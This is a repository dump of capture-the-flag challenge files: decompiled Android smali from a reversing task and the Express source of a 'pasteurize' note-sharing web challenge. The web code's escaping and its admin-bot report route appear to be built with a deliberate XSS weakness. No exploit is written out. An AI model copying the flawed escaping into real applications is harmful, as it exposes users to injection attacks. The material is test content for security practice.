75 | iput v0, p0, Landroid/support/constraint/solver/widgets/ResolutionDimension;->value:F
76 |
77 | .line 33
78 | iget v0, p0, Landroid/support/constraint/solver/widgets/ResolutionDimension;->state:I
79 |
80 | const/4 v1, 0x1
81 |
82 | if-ne v0, v1, :cond_1
83 |
84 | .line 34
85 | invoke-virtual {p0}, Landroid/support/constraint/solver/widgets/ResolutionDimension;->invalidate()V
86 |
87 | .line 36
88 | :cond_1
89 | invoke-virtual {p0}, Landroid/support/constraint/solver/widgets/ResolutionDimension;->didResolve()V
90 |
91 | .line 38
92 | :cond_2
93 | return-void
94 | .end method
95 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/android/support/constraint/solver/widgets/Helper.smali:
--------------------------------------------------------------------------------
1 | .class public Landroid/support/constraint/solver/widgets/Helper;
2 | .super Landroid/support/constraint/solver/widgets/ConstraintWidget;
3 | .source "Helper.java"
4 |
5 |
6 | # instance fields
7 | .field protected mWidgets:[Landroid/support/constraint/solver/widgets/ConstraintWidget;
8 |
9 | .field protected mWidgetsCount:I
10 |
11 |
12 | # direct methods
13 | .method public constructor ()V
14 | .locals 1
15 |
16 | .line 8
17 | invoke-direct {p0}, Landroid/support/constraint/solver/widgets/ConstraintWidget;->()V
18 |
19 | .line 9
20 | const/4 v0, 0x4
21 |
22 | new-array v0, v0, [Landroid/support/constraint/solver/widgets/ConstraintWidget;
23 |
24 | iput-object v0, p0, Landroid/support/constraint/solver/widgets/Helper;->mWidgets:[Landroid/support/constraint/solver/widgets/ConstraintWidget;
25 |
26 | .line 10
27 | const/4 v0, 0x0
28 |
29 | iput v0, p0, Landroid/support/constraint/solver/widgets/Helper;->mWidgetsCount:I
30 |
31 | return-void
32 | .end method
33 |
34 |
35 | # virtual methods
36 | .method public add(Landroid/support/constraint/solver/widgets/ConstraintWidget;)V
37 | .locals 2
38 | .param p1, "widget" # Landroid/support/constraint/solver/widgets/ConstraintWidget;
39 |
40 | .line 18
41 | iget v0, p0, Landroid/support/constraint/solver/widgets/Helper;->mWidgetsCount:I
42 |
43 | add-int/lit8 v0, v0, 0x1
44 |
45 | iget-object v1, p0, Landroid/support/constraint/solver/widgets/Helper;->mWidgets:[Landroid/support/constraint/solver/widgets/ConstraintWidget;
46 |
47 | array-length v1, v1
48 |
49 | if-le v0, v1, :cond_0
50 |
51 | .line 19
52 | iget-object v0, p0, Landroid/support/constraint/solver/widgets/Helper;->mWidgets:[Landroid/support/constraint/solver/widgets/ConstraintWidget;
53 |
54 | iget-object v1, p0, Landroid/support/constraint/solver/widgets/Helper;->mWidgets:[Landroid/support/constraint/solver/widgets/ConstraintWidget;
55 |
56 | array-length v1, v1
57 |
58 | mul-int/lit8 v1, v1, 0x2
59 |
60 | invoke-static {v0, v1}, Ljava/util/Arrays;->copyOf([Ljava/lang/Object;I)[Ljava/lang/Object;
61 |
62 | move-result-object v0
63 |
64 | check-cast v0, [Landroid/support/constraint/solver/widgets/ConstraintWidget;
65 |
66 | iput-object v0, p0, Landroid/support/constraint/solver/widgets/Helper;->mWidgets:[Landroid/support/constraint/solver/widgets/ConstraintWidget;
67 |
68 | .line 21
69 | :cond_0
70 | iget-object v0, p0, Landroid/support/constraint/solver/widgets/Helper;->mWidgets:[Landroid/support/constraint/solver/widgets/ConstraintWidget;
71 |
72 | iget v1, p0, Landroid/support/constraint/solver/widgets/Helper;->mWidgetsCount:I
73 |
74 | aput-object p1, v0, v1
75 |
76 | .line 22
77 | iget v0, p0, Landroid/support/constraint/solver/widgets/Helper;->mWidgetsCount:I
78 |
79 | add-int/lit8 v0, v0, 0x1
80 |
81 | iput v0, p0, Landroid/support/constraint/solver/widgets/Helper;->mWidgetsCount:I
82 |
83 | .line 23
84 | return-void
85 | .end method
86 |
87 | .method public removeAllIds()V
88 | .locals 1
89 |
90 | .line 29
91 | const/4 v0, 0x0
92 |
93 | iput v0, p0, Landroid/support/constraint/solver/widgets/Helper;->mWidgetsCount:I
94 |
95 | .line 30
96 | return-void
97 | .end method
98 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/com/google/ctf/sandbox/o.smali:
--------------------------------------------------------------------------------
1 | .class public Lcom/google/ctf/sandbox/o;
2 | .super Landroid/app/Activity;
3 | .source "\u0151.java"
4 |
5 |
6 | # instance fields
7 | .field class:[J
8 |
9 | .field o:I
10 |
11 | .field o:[J
12 |
13 |
14 | # direct methods
15 | .method public constructor ()V
16 | .locals 14
17 |
18 | .line 11
19 | invoke-direct {p0}, Landroid/app/Activity;->()V
20 |
21 | :catch_0
22 | :try_start_0
23 | const/16 v0, 0xc
24 |
25 | new-array v1, v0, [J
26 |
27 | fill-array-data v1, :array_0
28 |
29 | iput-object v1, p0, Lcom/google/ctf/sandbox/o;->class:[J
30 |
31 | .line 16
32 | new-array v0, v0, [J
33 |
34 | iput-object v0, p0, Lcom/google/ctf/sandbox/o;->o:[J
35 |
36 | .line 17
37 | const/4 v0, 0x0
38 |
39 | iput v0, p0, Lcom/google/ctf/sandbox/o;->o:I
40 | :try_end_0
41 | .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
42 | .catch Ljava/lang/Error; {:try_start_0 .. :try_end_0} :catch_0
43 | .catch I {:try_start_0 .. :try_end_0} :catch_1
44 |
45 | goto/16 :goto_0
46 |
47 | :try_start_1
48 | const/16 v0, 0xc
49 |
50 | :catch_1
51 | :goto_0
52 | return-void
53 |
54 | :array_0
55 | .array-data 8
56 | 0x271986b
57 | 0xa64239c9L
58 | 0x271ded4b
59 | 0x1186143
60 | 0xc0fa229fL
61 | 0x690e10bf
62 | 0x28dca257
63 | 0x16c699d1
64 | 0x55a56ffd
65 | 0x7eb870a1
66 | 0xc5c9799fL
67 | 0x2f838e65
68 | .end array-data
69 | :try_end_1
70 | .catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_0
71 | .end method
72 |
73 |
74 | # virtual methods
75 | .method protected onCreate(Landroid/os/Bundle;)V
76 | .locals 4
77 | .param p1, "savedInstanceState" # Landroid/os/Bundle;
78 |
79 | .line 33
80 | invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
81 |
82 | .line 34
83 | const/high16 v0, 0x7f050000
84 |
85 | invoke-virtual {p0, v0}, Lcom/google/ctf/sandbox/o;->setContentView(I)V
86 |
87 | .line 36
88 | const v0, 0x7f040006
89 |
90 | invoke-virtual {p0, v0}, Lcom/google/ctf/sandbox/o;->findViewById(I)Landroid/view/View;
91 |
92 | move-result-object v0
93 |
94 | check-cast v0, Landroid/widget/EditText;
95 |
96 | .line 37
97 | .local v0, "editText":Landroid/widget/EditText;
98 | const v1, 0x7f040015
99 |
100 | invoke-virtual {p0, v1}, Lcom/google/ctf/sandbox/o;->findViewById(I)Landroid/view/View;
101 |
102 | move-result-object v1
103 |
104 | check-cast v1, Landroid/widget/TextView;
105 |
106 | .line 38
107 | .local v1, "textView":Landroid/widget/TextView;
108 | const v2, 0x7f040002
109 |
110 | invoke-virtual {p0, v2}, Lcom/google/ctf/sandbox/o;->findViewById(I)Landroid/view/View;
111 |
112 | move-result-object v2
113 |
114 | check-cast v2, Landroid/widget/Button;
115 |
116 | .line 39
117 | .local v2, "button":Landroid/widget/Button;
118 | new-instance v3, Lcom/google/ctf/sandbox/o$1;
119 |
120 | invoke-direct {v3, p0, v0, v1}, Lcom/google/ctf/sandbox/o$1;->(Lcom/google/ctf/sandbox/o;Landroid/widget/EditText;Landroid/widget/TextView;)V
121 |
122 | invoke-virtual {v2, v3}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V
123 |
124 | .line 88
125 | return-void
126 | .end method
127 |
--------------------------------------------------------------------------------
/reversing/android/reverse/res/drawable/ic_launcher_background.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/android/support/constraint/solver/SolverVariable$1.smali:
--------------------------------------------------------------------------------
1 | .class synthetic Landroid/support/constraint/solver/SolverVariable$1;
2 | .super Ljava/lang/Object;
3 | .source "SolverVariable.java"
4 |
5 |
6 | # annotations
7 | .annotation system Ldalvik/annotation/EnclosingClass;
8 | value = Landroid/support/constraint/solver/SolverVariable;
9 | .end annotation
10 |
11 | .annotation system Ldalvik/annotation/InnerClass;
12 | accessFlags = 0x1008
13 | name = null
14 | .end annotation
15 |
16 |
17 | # static fields
18 | .field static final synthetic $SwitchMap$android$support$constraint$solver$SolverVariable$Type:[I
19 |
20 |
21 | # direct methods
22 | .method static constructor ()V
23 | .locals 3
24 |
25 | .line 96
26 | invoke-static {}, Landroid/support/constraint/solver/SolverVariable$Type;->values()[Landroid/support/constraint/solver/SolverVariable$Type;
27 |
28 | move-result-object v0
29 |
30 | array-length v0, v0
31 |
32 | new-array v0, v0, [I
33 |
34 | sput-object v0, Landroid/support/constraint/solver/SolverVariable$1;->$SwitchMap$android$support$constraint$solver$SolverVariable$Type:[I
35 |
36 | :try_start_0
37 | sget-object v0, Landroid/support/constraint/solver/SolverVariable$1;->$SwitchMap$android$support$constraint$solver$SolverVariable$Type:[I
38 |
39 | sget-object v1, Landroid/support/constraint/solver/SolverVariable$Type;->UNRESTRICTED:Landroid/support/constraint/solver/SolverVariable$Type;
40 |
41 | invoke-virtual {v1}, Landroid/support/constraint/solver/SolverVariable$Type;->ordinal()I
42 |
43 | move-result v1
44 |
45 | const/4 v2, 0x1
46 |
47 | aput v2, v0, v1
48 | :try_end_0
49 | .catch Ljava/lang/NoSuchFieldError; {:try_start_0 .. :try_end_0} :catch_0
50 |
51 | goto :goto_0
52 |
53 | :catch_0
54 | move-exception v0
55 |
56 | :goto_0
57 | :try_start_1
58 | sget-object v0, Landroid/support/constraint/solver/SolverVariable$1;->$SwitchMap$android$support$constraint$solver$SolverVariable$Type:[I
59 |
60 | sget-object v1, Landroid/support/constraint/solver/SolverVariable$Type;->CONSTANT:Landroid/support/constraint/solver/SolverVariable$Type;
61 |
62 | invoke-virtual {v1}, Landroid/support/constraint/solver/SolverVariable$Type;->ordinal()I
63 |
64 | move-result v1
65 |
66 | const/4 v2, 0x2
67 |
68 | aput v2, v0, v1
69 | :try_end_1
70 | .catch Ljava/lang/NoSuchFieldError; {:try_start_1 .. :try_end_1} :catch_1
71 |
72 | goto :goto_1
73 |
74 | :catch_1
75 | move-exception v0
76 |
77 | :goto_1
78 | :try_start_2
79 | sget-object v0, Landroid/support/constraint/solver/SolverVariable$1;->$SwitchMap$android$support$constraint$solver$SolverVariable$Type:[I
80 |
81 | sget-object v1, Landroid/support/constraint/solver/SolverVariable$Type;->SLACK:Landroid/support/constraint/solver/SolverVariable$Type;
82 |
83 | invoke-virtual {v1}, Landroid/support/constraint/solver/SolverVariable$Type;->ordinal()I
84 |
85 | move-result v1
86 |
87 | const/4 v2, 0x3
88 |
89 | aput v2, v0, v1
90 | :try_end_2
91 | .catch Ljava/lang/NoSuchFieldError; {:try_start_2 .. :try_end_2} :catch_2
92 |
93 | goto :goto_2
94 |
95 | :catch_2
96 | move-exception v0
97 |
98 | :goto_2
99 | :try_start_3
100 | sget-object v0, Landroid/support/constraint/solver/SolverVariable$1;->$SwitchMap$android$support$constraint$solver$SolverVariable$Type:[I
101 |
102 | sget-object v1, Landroid/support/constraint/solver/SolverVariable$Type;->ERROR:Landroid/support/constraint/solver/SolverVariable$Type;
103 |
104 | invoke-virtual {v1}, Landroid/support/constraint/solver/SolverVariable$Type;->ordinal()I
105 |
106 | move-result v1
107 |
108 | const/4 v2, 0x4
109 |
110 | aput v2, v0, v1
111 | :try_end_3
112 | .catch Ljava/lang/NoSuchFieldError; {:try_start_3 .. :try_end_3} :catch_3
113 |
114 | goto :goto_3
115 |
116 | :catch_3
117 | move-exception v0
118 |
119 | :goto_3
120 | :try_start_4
121 | sget-object v0, Landroid/support/constraint/solver/SolverVariable$1;->$SwitchMap$android$support$constraint$solver$SolverVariable$Type:[I
122 |
123 | sget-object v1, Landroid/support/constraint/solver/SolverVariable$Type;->UNKNOWN:Landroid/support/constraint/solver/SolverVariable$Type;
124 |
125 | invoke-virtual {v1}, Landroid/support/constraint/solver/SolverVariable$Type;->ordinal()I
126 |
127 | move-result v1
128 |
129 | const/4 v2, 0x5
130 |
131 | aput v2, v0, v1
132 | :try_end_4
133 | .catch Ljava/lang/NoSuchFieldError; {:try_start_4 .. :try_end_4} :catch_4
134 |
135 | goto :goto_4
136 |
137 | :catch_4
138 | move-exception v0
139 |
140 | :goto_4
141 | return-void
142 | .end method
143 |
--------------------------------------------------------------------------------
/web/pasteurize/source.txt:
--------------------------------------------------------------------------------
1 | const express = require('express');
2 | const bodyParser = require('body-parser');
3 | const utils = require('./utils');
4 | const Recaptcha = require('express-recaptcha').RecaptchaV3;
5 | const uuidv4 = require('uuid').v4;
6 | const Datastore = require('@google-cloud/datastore').Datastore;
7 |
8 | /* Just reCAPTCHA stuff. */
9 | const CAPTCHA_SITE_KEY = process.env.CAPTCHA_SITE_KEY || 'site-key';
10 | const CAPTCHA_SECRET_KEY = process.env.CAPTCHA_SECRET_KEY || 'secret-key';
11 | console.log("Captcha(%s, %s)", CAPTCHA_SECRET_KEY, CAPTCHA_SITE_KEY);
12 | const recaptcha = new Recaptcha(CAPTCHA_SITE_KEY, CAPTCHA_SECRET_KEY, {
13 | 'hl': 'en',
14 | callback: 'captcha_cb'
15 | });
16 |
17 | /* Choo Choo! */
18 | const app = express();
19 | app.set('view engine', 'ejs');
20 | app.set('strict routing', true);
21 | app.use(utils.domains_mw);
22 | app.use('/static', express.static('static', {
23 | etag: true,
24 | maxAge: 300 * 1000,
25 | }));
26 |
27 | /* They say reCAPTCHA needs those. But does it? */
28 | app.use(bodyParser.urlencoded({
29 | extended: true
30 | }));
31 |
32 | /* Just a datastore. I would be surprised if it's fragile. */
33 | class Database {
34 | constructor() {
35 | this._db = new Datastore({
36 | namespace: 'littlethings'
37 | });
38 | }
39 | add_note(note_id, content) {
40 | const note = {
41 | note_id: note_id,
42 | owner: 'guest',
43 | content: content,
44 | public: 1,
45 | created: Date.now()
46 | }
47 | return this._db.save({
48 | key: this._db.key(['Note', note_id]),
49 | data: note,
50 | excludeFromIndexes: ['content']
51 | });
52 | }
53 | async get_note(note_id) {
54 | const key = this._db.key(['Note', note_id]);
55 | let note;
56 | try {
57 | note = await this._db.get(key);
58 | } catch (e) {
59 | console.error(e);
60 | return null;
61 | }
62 | if (!note || note.length < 1) {
63 | return null;
64 | }
65 | note = note[0];
66 | if (note === undefined || note.public !== 1) {
67 | return null;
68 | }
69 | return note;
70 | }
71 | }
72 |
73 | const DB = new Database();
74 |
75 | /* Who wants a slice? */
76 | const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
77 | .replace(//g, '\\x3E');
78 |
79 | /* o/ */
80 | app.get('/', (req, res) => {
81 | res.render('index');
82 | });
83 |
84 | /* \o/ [x] */
85 | app.post('/', async (req, res) => {
86 | const note = req.body.content;
87 | if (!note) {
88 | return res.status(500).send("Nothing to add");
89 | }
90 | if (note.length > 2000) {
91 | res.status(500);
92 | return res.send("The note is too big");
93 | }
94 |
95 | const note_id = uuidv4();
96 | try {
97 | const result = await DB.add_note(note_id, note);
98 | if (!result) {
99 | res.status(500);
100 | console.error(result);
101 | return res.send("Something went wrong...");
102 | }
103 | } catch (err) {
104 | res.status(500);
105 | console.error(err);
106 | return res.send("Something went wrong...");
107 | }
108 | await utils.sleep(500);
109 | return res.redirect(`/${note_id}`);
110 | });
111 |
112 | /* Make sure to properly escape the note! */
113 | app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => {
114 | const note_id = req.params.id;
115 | const note = await DB.get_note(note_id);
116 |
117 | if (note == null) {
118 | return res.status(404).send("Paste not found or access has been denied.");
119 | }
120 |
121 | const unsafe_content = note.content;
122 | const safe_content = escape_string(unsafe_content);
123 |
124 | res.render('note_public', {
125 | content: safe_content,
126 | id: note_id,
127 | captcha: res.recaptcha
128 | });
129 | });
130 |
131 | /* Share your pastes with TJMike🎤 */
132 | app.post('/report/:id([a-f0-9\-]{36})', recaptcha.middleware.verify, (req, res) => {
133 | const id = req.params.id;
134 |
135 | /* No robots please! */
136 | if (req.recaptcha.error) {
137 | console.error(req.recaptcha.error);
138 | return res.redirect(`/${id}?msg=Something+wrong+with+Captcha+:(`);
139 | }
140 |
141 | /* Make TJMike visit the paste */
142 | utils.visit(id, req);
143 |
144 | res.redirect(`/${id}?msg=TJMike🎤+will+appreciate+your+paste+shortly.`);
145 | });
146 |
147 | /* This is my source I was telling you about! */
148 | app.get('/source', (req, res) => {
149 | res.set("Content-type", "text/plain; charset=utf-8");
150 | res.sendFile(__filename);
151 | });
152 |
153 | /* Let it begin! */
154 | const PORT = process.env.PORT || 8080;
155 |
156 | app.listen(PORT, () => {
157 | console.log(`App listening on port ${PORT}`);
158 | console.log('Press Ctrl+C to quit.');
159 | });
160 |
161 | module.exports = app;
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/android/support/constraint/solver/widgets/ConstraintAnchor$ConnectionType.smali:
--------------------------------------------------------------------------------
1 | .class public final enum Landroid/support/constraint/solver/widgets/ConstraintAnchor$ConnectionType;
2 | .super Ljava/lang/Enum;
3 | .source "ConstraintAnchor.java"
4 |
5 |
6 | # annotations
7 | .annotation system Ldalvik/annotation/EnclosingClass;
8 | value = Landroid/support/constraint/solver/widgets/ConstraintAnchor;
9 | .end annotation
10 |
11 | .annotation system Ldalvik/annotation/InnerClass;
12 | accessFlags = 0x4019
13 | name = "ConnectionType"
14 | .end annotation
15 |
16 | .annotation system Ldalvik/annotation/Signature;
17 | value = {
18 | "Ljava/lang/Enum<",
19 | "Landroid/support/constraint/solver/widgets/ConstraintAnchor$ConnectionType;",
20 | ">;"
21 | }
22 | .end annotation
23 |
24 |
25 | # static fields
26 | .field private static final synthetic $VALUES:[Landroid/support/constraint/solver/widgets/ConstraintAnchor$ConnectionType;
27 |
28 | .field public static final enum RELAXED:Landroid/support/constraint/solver/widgets/ConstraintAnchor$ConnectionType;
29 |
30 | .field public static final enum STRICT:Landroid/support/constraint/solver/widgets/ConstraintAnchor$ConnectionType;
31 |
32 |
33 | # direct methods
34 | .method static constructor ()V
35 | .locals 4
36 |
37 | .line 46
38 | new-instance v0, Landroid/support/constraint/solver/widgets/ConstraintAnchor$ConnectionType;
39 |
40 | const-string v1, "RELAXED"
41 |
42 | const/4 v2, 0x0
43 |
44 | invoke-direct {v0, v1, v2}, Landroid/support/constraint/solver/widgets/ConstraintAnchor$ConnectionType;->(Ljava/lang/String;I)V
45 |
46 | sput-object v0, Landroid/support/constraint/solver/widgets/ConstraintAnchor$ConnectionType;->RELAXED:Landroid/support/constraint/solver/widgets/ConstraintAnchor$ConnectionType;
47 |
48 | new-instance v0, Landroid/support/constraint/solver/widgets/ConstraintAnchor$ConnectionType;
49 |
50 | const-string v1, "STRICT"
51 |
52 | const/4 v3, 0x1
53 |
54 | invoke-direct {v0, v1, v3}, Landroid/support/constraint/solver/widgets/ConstraintAnchor$ConnectionType;->(Ljava/lang/String;I)V
55 |
56 | sput-object v0, Landroid/support/constraint/solver/widgets/ConstraintAnchor$ConnectionType;->STRICT:Landroid/support/constraint/solver/widgets/ConstraintAnchor$ConnectionType;
57 |
58 | const/4 v0, 0x2
59 |
60 | new-array v0, v0, [Landroid/support/constraint/solver/widgets/ConstraintAnchor$ConnectionType;
61 |
62 | sget-object v1, Landroid/support/constraint/solver/widgets/ConstraintAnchor$ConnectionType;->RELAXED:Landroid/support/constraint/solver/widgets/ConstraintAnchor$ConnectionType;
63 |
64 | aput-object v1, v0, v2
65 |
66 | sget-object v1, Landroid/support/constraint/solver/widgets/ConstraintAnchor$ConnectionType;->STRICT:Landroid/support/constraint/solver/widgets/ConstraintAnchor$ConnectionType;
67 |
68 | aput-object v1, v0, v3
69 |
70 | sput-object v0, Landroid/support/constraint/solver/widgets/ConstraintAnchor$ConnectionType;->$VALUES:[Landroid/support/constraint/solver/widgets/ConstraintAnchor$ConnectionType;
71 |
72 | return-void
73 | .end method
74 |
75 | .method private constructor (Ljava/lang/String;I)V
76 | .locals 0
77 | .annotation system Ldalvik/annotation/Signature;
78 | value = {
79 | "()V"
80 | }
81 | .end annotation
82 |
83 | .line 46
84 | invoke-direct {p0, p1, p2}, Ljava/lang/Enum;->(Ljava/lang/String;I)V
85 |
86 | return-void
87 | .end method
88 |
89 | .method public static valueOf(Ljava/lang/String;)Landroid/support/constraint/solver/widgets/ConstraintAnchor$ConnectionType;
90 | .locals 1
91 | .param p0, "name" # Ljava/lang/String;
92 |
93 | .line 46
94 | const-class v0, Landroid/support/constraint/solver/widgets/ConstraintAnchor$ConnectionType;
95 |
96 | invoke-static {v0, p0}, Ljava/lang/Enum;->valueOf(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Enum;
97 |
98 | move-result-object v0
99 |
100 | check-cast v0, Landroid/support/constraint/solver/widgets/ConstraintAnchor$ConnectionType;
101 |
102 | return-object v0
103 | .end method
104 |
105 | .method public static values()[Landroid/support/constraint/solver/widgets/ConstraintAnchor$ConnectionType;
106 | .locals 1
107 |
108 | .line 46
109 | sget-object v0, Landroid/support/constraint/solver/widgets/ConstraintAnchor$ConnectionType;->$VALUES:[Landroid/support/constraint/solver/widgets/ConstraintAnchor$ConnectionType;
110 |
111 | invoke-virtual {v0}, [Landroid/support/constraint/solver/widgets/ConstraintAnchor$ConnectionType;->clone()Ljava/lang/Object;
112 |
113 | move-result-object v0
114 |
115 | check-cast v0, [Landroid/support/constraint/solver/widgets/ConstraintAnchor$ConnectionType;
116 |
117 | return-object v0
118 | .end method
119 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/com/google/ctf/sandbox/R$attr.smali:
--------------------------------------------------------------------------------
1 | .class public final Lcom/google/ctf/sandbox/R$attr;
2 | .super Ljava/lang/Object;
3 | .source "R.java"
4 |
5 |
6 | # annotations
7 | .annotation system Ldalvik/annotation/EnclosingClass;
8 | value = Lcom/google/ctf/sandbox/R;
9 | .end annotation
10 |
11 | .annotation system Ldalvik/annotation/InnerClass;
12 | accessFlags = 0x19
13 | name = "attr"
14 | .end annotation
15 |
16 |
17 | # static fields
18 | .field public static final barrierAllowsGoneWidgets:I = 0x7f010000
19 |
20 | .field public static final barrierDirection:I = 0x7f010001
21 |
22 | .field public static final chainUseRtl:I = 0x7f010002
23 |
24 | .field public static final constraintSet:I = 0x7f010003
25 |
26 | .field public static final constraint_referenced_ids:I = 0x7f010004
27 |
28 | .field public static final content:I = 0x7f010005
29 |
30 | .field public static final emptyVisibility:I = 0x7f010006
31 |
32 | .field public static final layout_constrainedHeight:I = 0x7f010007
33 |
34 | .field public static final layout_constrainedWidth:I = 0x7f010008
35 |
36 | .field public static final layout_constraintBaseline_creator:I = 0x7f010009
37 |
38 | .field public static final layout_constraintBaseline_toBaselineOf:I = 0x7f01000a
39 |
40 | .field public static final layout_constraintBottom_creator:I = 0x7f01000b
41 |
42 | .field public static final layout_constraintBottom_toBottomOf:I = 0x7f01000c
43 |
44 | .field public static final layout_constraintBottom_toTopOf:I = 0x7f01000d
45 |
46 | .field public static final layout_constraintCircle:I = 0x7f01000e
47 |
48 | .field public static final layout_constraintCircleAngle:I = 0x7f01000f
49 |
50 | .field public static final layout_constraintCircleRadius:I = 0x7f010010
51 |
52 | .field public static final layout_constraintDimensionRatio:I = 0x7f010011
53 |
54 | .field public static final layout_constraintEnd_toEndOf:I = 0x7f010012
55 |
56 | .field public static final layout_constraintEnd_toStartOf:I = 0x7f010013
57 |
58 | .field public static final layout_constraintGuide_begin:I = 0x7f010014
59 |
60 | .field public static final layout_constraintGuide_end:I = 0x7f010015
61 |
62 | .field public static final layout_constraintGuide_percent:I = 0x7f010016
63 |
64 | .field public static final layout_constraintHeight_default:I = 0x7f010017
65 |
66 | .field public static final layout_constraintHeight_max:I = 0x7f010018
67 |
68 | .field public static final layout_constraintHeight_min:I = 0x7f010019
69 |
70 | .field public static final layout_constraintHeight_percent:I = 0x7f01001a
71 |
72 | .field public static final layout_constraintHorizontal_bias:I = 0x7f01001b
73 |
74 | .field public static final layout_constraintHorizontal_chainStyle:I = 0x7f01001c
75 |
76 | .field public static final layout_constraintHorizontal_weight:I = 0x7f01001d
77 |
78 | .field public static final layout_constraintLeft_creator:I = 0x7f01001e
79 |
80 | .field public static final layout_constraintLeft_toLeftOf:I = 0x7f01001f
81 |
82 | .field public static final layout_constraintLeft_toRightOf:I = 0x7f010020
83 |
84 | .field public static final layout_constraintRight_creator:I = 0x7f010021
85 |
86 | .field public static final layout_constraintRight_toLeftOf:I = 0x7f010022
87 |
88 | .field public static final layout_constraintRight_toRightOf:I = 0x7f010023
89 |
90 | .field public static final layout_constraintStart_toEndOf:I = 0x7f010024
91 |
92 | .field public static final layout_constraintStart_toStartOf:I = 0x7f010025
93 |
94 | .field public static final layout_constraintTop_creator:I = 0x7f010026
95 |
96 | .field public static final layout_constraintTop_toBottomOf:I = 0x7f010027
97 |
98 | .field public static final layout_constraintTop_toTopOf:I = 0x7f010028
99 |
100 | .field public static final layout_constraintVertical_bias:I = 0x7f010029
101 |
102 | .field public static final layout_constraintVertical_chainStyle:I = 0x7f01002a
103 |
104 | .field public static final layout_constraintVertical_weight:I = 0x7f01002b
105 |
106 | .field public static final layout_constraintWidth_default:I = 0x7f01002c
107 |
108 | .field public static final layout_constraintWidth_max:I = 0x7f01002d
109 |
110 | .field public static final layout_constraintWidth_min:I = 0x7f01002e
111 |
112 | .field public static final layout_constraintWidth_percent:I = 0x7f01002f
113 |
114 | .field public static final layout_editor_absoluteX:I = 0x7f010030
115 |
116 | .field public static final layout_editor_absoluteY:I = 0x7f010031
117 |
118 | .field public static final layout_goneMarginBottom:I = 0x7f010032
119 |
120 | .field public static final layout_goneMarginEnd:I = 0x7f010033
121 |
122 | .field public static final layout_goneMarginLeft:I = 0x7f010034
123 |
124 | .field public static final layout_goneMarginRight:I = 0x7f010035
125 |
126 | .field public static final layout_goneMarginStart:I = 0x7f010036
127 |
128 | .field public static final layout_goneMarginTop:I = 0x7f010037
129 |
130 | .field public static final layout_optimizationLevel:I = 0x7f010038
131 |
132 |
133 | # direct methods
134 | .method public constructor ()V
135 | .locals 0
136 |
137 | .line 11
138 | invoke-direct {p0}, Ljava/lang/Object;->()V
139 |
140 | return-void
141 | .end method
142 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/android/support/constraint/R$attr.smali:
--------------------------------------------------------------------------------
1 | .class public final Landroid/support/constraint/R$attr;
2 | .super Ljava/lang/Object;
3 | .source "R.java"
4 |
5 |
6 | # annotations
7 | .annotation system Ldalvik/annotation/EnclosingClass;
8 | value = Landroid/support/constraint/R;
9 | .end annotation
10 |
11 | .annotation system Ldalvik/annotation/InnerClass;
12 | accessFlags = 0x19
13 | name = "attr"
14 | .end annotation
15 |
16 |
17 | # static fields
18 | .field public static final barrierAllowsGoneWidgets:I = 0x7f010000
19 |
20 | .field public static final barrierDirection:I = 0x7f010001
21 |
22 | .field public static final chainUseRtl:I = 0x7f010002
23 |
24 | .field public static final constraintSet:I = 0x7f010003
25 |
26 | .field public static final constraint_referenced_ids:I = 0x7f010004
27 |
28 | .field public static final content:I = 0x7f010005
29 |
30 | .field public static final emptyVisibility:I = 0x7f010006
31 |
32 | .field public static final layout_constrainedHeight:I = 0x7f010007
33 |
34 | .field public static final layout_constrainedWidth:I = 0x7f010008
35 |
36 | .field public static final layout_constraintBaseline_creator:I = 0x7f010009
37 |
38 | .field public static final layout_constraintBaseline_toBaselineOf:I = 0x7f01000a
39 |
40 | .field public static final layout_constraintBottom_creator:I = 0x7f01000b
41 |
42 | .field public static final layout_constraintBottom_toBottomOf:I = 0x7f01000c
43 |
44 | .field public static final layout_constraintBottom_toTopOf:I = 0x7f01000d
45 |
46 | .field public static final layout_constraintCircle:I = 0x7f01000e
47 |
48 | .field public static final layout_constraintCircleAngle:I = 0x7f01000f
49 |
50 | .field public static final layout_constraintCircleRadius:I = 0x7f010010
51 |
52 | .field public static final layout_constraintDimensionRatio:I = 0x7f010011
53 |
54 | .field public static final layout_constraintEnd_toEndOf:I = 0x7f010012
55 |
56 | .field public static final layout_constraintEnd_toStartOf:I = 0x7f010013
57 |
58 | .field public static final layout_constraintGuide_begin:I = 0x7f010014
59 |
60 | .field public static final layout_constraintGuide_end:I = 0x7f010015
61 |
62 | .field public static final layout_constraintGuide_percent:I = 0x7f010016
63 |
64 | .field public static final layout_constraintHeight_default:I = 0x7f010017
65 |
66 | .field public static final layout_constraintHeight_max:I = 0x7f010018
67 |
68 | .field public static final layout_constraintHeight_min:I = 0x7f010019
69 |
70 | .field public static final layout_constraintHeight_percent:I = 0x7f01001a
71 |
72 | .field public static final layout_constraintHorizontal_bias:I = 0x7f01001b
73 |
74 | .field public static final layout_constraintHorizontal_chainStyle:I = 0x7f01001c
75 |
76 | .field public static final layout_constraintHorizontal_weight:I = 0x7f01001d
77 |
78 | .field public static final layout_constraintLeft_creator:I = 0x7f01001e
79 |
80 | .field public static final layout_constraintLeft_toLeftOf:I = 0x7f01001f
81 |
82 | .field public static final layout_constraintLeft_toRightOf:I = 0x7f010020
83 |
84 | .field public static final layout_constraintRight_creator:I = 0x7f010021
85 |
86 | .field public static final layout_constraintRight_toLeftOf:I = 0x7f010022
87 |
88 | .field public static final layout_constraintRight_toRightOf:I = 0x7f010023
89 |
